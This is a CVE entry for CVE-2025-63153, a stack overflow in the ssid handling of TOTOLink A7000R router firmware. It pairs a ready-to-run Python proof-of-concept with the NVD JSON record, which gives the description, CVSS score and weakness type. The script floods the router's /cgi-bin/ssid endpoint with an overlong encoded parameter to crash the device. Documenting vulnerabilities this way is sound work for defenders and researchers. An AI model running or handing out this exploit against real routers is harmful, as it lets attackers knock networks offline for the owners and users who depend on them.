CVE-2025-63153

import requests # CVE-2025-63153 PoC - TOTOLink A7000R Stack Overflow in urldecode ssid parameter # Target: TOTOLink A7000R V9.1.0u.6115_B20201022 target_ip = "192.168.0.1" # Default router IP target_url = f"http://{target_ip}/cgi-bin/ssid" # Generate malicious payload - URL encoded long string to trigger stack overflow # The payload needs to exceed the buffer size in urldecode function overflow_length = 2000 # Adjust based on actual buffer size malicious_ssid = "A" * overflow_length # URL encode the payload encoded_payload = malicious_ssid.replace("A", "%41") # Construct the exploit request params = { "ssid": encoded_payload } try: print(f"[*] Sending exploit request to {target_url}") print(f"[*] Payload length: {len(encoded_payload)}") response = requests.get(target_url, params=params, timeout=5) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") except requests.exceptions.Timeout: print("[!] Request timeout - target may be vulnerable (DoS triggered)") except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down (DoS successful)") except Exception as e: print(f"[!] Error: {str(e)}")

{"cve": {"id": "CVE-2025-63153", "sourceIdentifier": "[email protected]", "published": "2025-11-10T16:15:45.253", "lastModified": "2025-11-17T18:23:11.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOLink A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow in the ssid parameter of the urldecode function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "TOTOLink A7000R V9.1.0u.6115_B20201022 se descubrió que contenía un desbordamiento de pila en el parámetro ssid de la función urldecode. Esta vulnerabilidad permite a los atacantes causar una Denegación de Servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a7000r_firmware:9.1.0u.6115_b20201022:*:*:*:*:*:*:*", "matchCriteriaId": "A5BB152D-5E33-4158-BFFD-68AED6A174E2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a7000r:-:*:*:*:*:*:*:*", "matchCriteriaId": "603DA206-05D4-48FD-A506-F3BD8B4383B2"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/6/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}